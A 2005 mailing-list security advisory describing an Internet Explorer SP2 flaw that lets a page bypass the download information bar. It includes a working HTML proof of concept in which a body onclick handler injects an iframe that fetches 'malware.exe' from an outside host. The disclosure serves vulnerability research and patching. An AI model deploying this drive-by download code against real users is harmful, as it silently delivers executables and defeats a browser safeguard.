bugtraq - Internet Explorer (SP2) - Remote File Download Information Bar Bypass

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Message-ID: <00a001c4fa0e$12004430$f85ab350@noone>
Date: Fri, 14 Jan 2005 09:53:00 +0200
From: "Rafel Ivgi, The-Insider" <theinsider@....net.il>
To: news@...uriteam.com, full-disclosure@...ts.netsys.com,
        bugtraq@...urityfocus.com
Subject: Internet Explorer (SP2) - Remote File Download
	Information Bar Bypass


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application:       Internet Explorer
Vendors:           http://www.microsoft.com
Versions:          6.0.2900.2180.xpsp_sp2_rtm.040803-2158
Patched With:   SP2;
Platforms:         Windows
Bug:                 Remote File Download Information Bar Bypass
Exploitation:     Remote with browser
Date:               13 Jan 2005
Author:            Rafel Ivgi, The-Insider
e-mail:             the_insider@...l.com
web:                http://theinsider.deep-ice.com

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1) Introduction
2) Bugs
3) The Code

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===============
1) Introduction
===============

Internet Explorer is currently the most common internet browser in the
world.
Microsoft Windows XP Service Pack 2 was designed to block any file download
by an information bar which must be clicked and selected with "Download
File".

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

======
2) Bug
======

While trying to download a file Microsoft Internet Explorer
the user gets the information bar. The information bar
mechanism blocks/catches all references to download-able files,
even through javascripts and HTML Event properties.
However Microsoft's Internet Explorer (SP2) DOES NOT CATCH
"body" tag with the HTML "onclick" event which dynamically
created "iframe" tags. For a good, more complicated dynamic
object creation i used the "createElement" function.
This way an attacker can make a user download a file with him just
clicking anywhere on the page (not on an hyperlink).

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

===========
3) The Code
===========

Paste into an htm/html file and add "<" at the begining of each line:
------------------------ cut here --------------------------------------
!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
!-- saved from url=(0031)http://theinsider.deep-ice.com/ -->
HTML><HEAD><TITLE>The-Insider http://theinsider.deep-ice.com</TITLE>
META http-equiv=expires content="01 Jan  1998 01:01:00 GMT">
META http-equiv=Content-Type content="text/html; charset=windows-1252">
META http-equiv=Content-Language content=en-us>
META content=True name=HandheldFriendly>
META content="MSHTML 6.00.2900.2523" name=GENERATOR></HEAD>

embed>
body onclick='a=document.createElement("\<iframe
src=\"http:\/\/theinsider.deep-
ice.com\/malware.exe\"\>\<\/iframe\>");document.body.appendChild
(a);setTimeout("document.execCommand\(\"refresh\")",1000)'>
cebter><br><br><br><br><br><br>Click AnyWhere You Want</center>
/BODY></HTML>
------------------------ cut here --------------------------------------

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

"Scripts and Codes will make me D.O.S , but they will never HACK me."

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